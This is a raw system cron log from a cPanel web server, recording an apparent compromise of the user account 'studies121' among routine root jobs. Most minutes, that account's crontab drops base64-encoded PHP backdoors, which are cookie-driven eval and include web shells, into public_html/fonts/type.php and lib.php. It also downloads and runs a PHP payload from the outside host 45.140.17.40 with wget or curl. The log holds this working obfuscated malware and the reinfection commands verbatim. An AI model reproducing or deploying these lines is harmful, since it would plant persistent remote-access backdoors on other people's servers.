Aug 30 09:53:01 ip-184-168-122-23 CROND[20427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:53:01 ip-184-168-122-23 CROND[20428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:54:01 ip-184-168-122-23 CROND[20508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:54:01 ip-184-168-122-23 CROND[20510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:54:01 ip-184-168-122-23 CROND[20513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:54:01 ip-184-168-122-23 CROND[20514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:54:01 ip-184-168-122-23 CROND[20515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:55:01 ip-184-168-122-23 CROND[20597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:55:01 ip-184-168-122-23 CROND[20599]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:55:01 ip-184-168-122-23 CROND[20601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:55:01 ip-184-168-122-23 CROND[20600]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:55:01 ip-184-168-122-23 CROND[20603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:55:01 ip-184-168-122-23 CROND[20606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:56:01 ip-184-168-122-23 CROND[20702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:56:01 ip-184-168-122-23 CROND[20705]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:56:01 ip-184-168-122-23 CROND[20707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:56:01 ip-184-168-122-23 CROND[20704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:56:01 ip-184-168-122-23 CROND[20706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:57:01 ip-184-168-122-23 CROND[20801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:57:01 ip-184-168-122-23 CROND[20803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:57:01 ip-184-168-122-23 CROND[20805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:57:01 ip-184-168-122-23 CROND[20807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:58:01 ip-184-168-122-23 CROND[20880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:58:01 ip-184-168-122-23 CROND[20881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:58:01 ip-184-168-122-23 CROND[20882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:58:01 ip-184-168-122-23 CROND[20885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:58:01 ip-184-168-122-23 CROND[20884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:59:01 ip-184-168-122-23 CROND[21061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:59:01 ip-184-168-122-23 CROND[21063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:59:01 ip-184-168-122-23 CROND[21064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:59:01 ip-184-168-122-23 CROND[21065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:00:01 ip-184-168-122-23 CROND[21153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:00:01 ip-184-168-122-23 CROND[21156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:00:01 ip-184-168-122-23 CROND[21155]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 10:00:01 ip-184-168-122-23 CROND[21158]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:00:01 ip-184-168-122-23 CROND[21154]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 10:00:01 ip-184-168-122-23 CROND[21162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:00:01 ip-184-168-122-23 CROND[21166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:00:01 ip-184-168-122-23 CROND[21168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:00:01 ip-184-168-122-23 CROND[21164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:01:01 ip-184-168-122-23 CROND[21277]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 10:01:02 ip-184-168-122-23 CROND[21279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:01:02 ip-184-168-122-23 CROND[21280]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 10:01:02 ip-184-168-122-23 CROND[21284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21277]: starting 0anacron
Aug 30 10:01:02 ip-184-168-122-23 CROND[21282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:01:02 ip-184-168-122-23 CROND[21286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21296]: finished 0anacron
Aug 30 10:02:01 ip-184-168-122-23 CROND[21446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:02:01 ip-184-168-122-23 CROND[21448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:02:01 ip-184-168-122-23 CROND[21449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:02:01 ip-184-168-122-23 CROND[21450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:02:01 ip-184-168-122-23 CROND[21451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:03:01 ip-184-168-122-23 CROND[21704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:03:02 ip-184-168-122-23 CROND[21707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:03:02 ip-184-168-122-23 CROND[21706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:03:02 ip-184-168-122-23 CROND[21708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:04:01 ip-184-168-122-23 CROND[21832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:04:01 ip-184-168-122-23 CROND[21834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:04:01 ip-184-168-122-23 CROND[21837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:04:01 ip-184-168-122-23 CROND[21836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:04:01 ip-184-168-122-23 CROND[21835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:05:01 ip-184-168-122-23 CROND[21942]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 10:05:01 ip-184-168-122-23 CROND[21943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
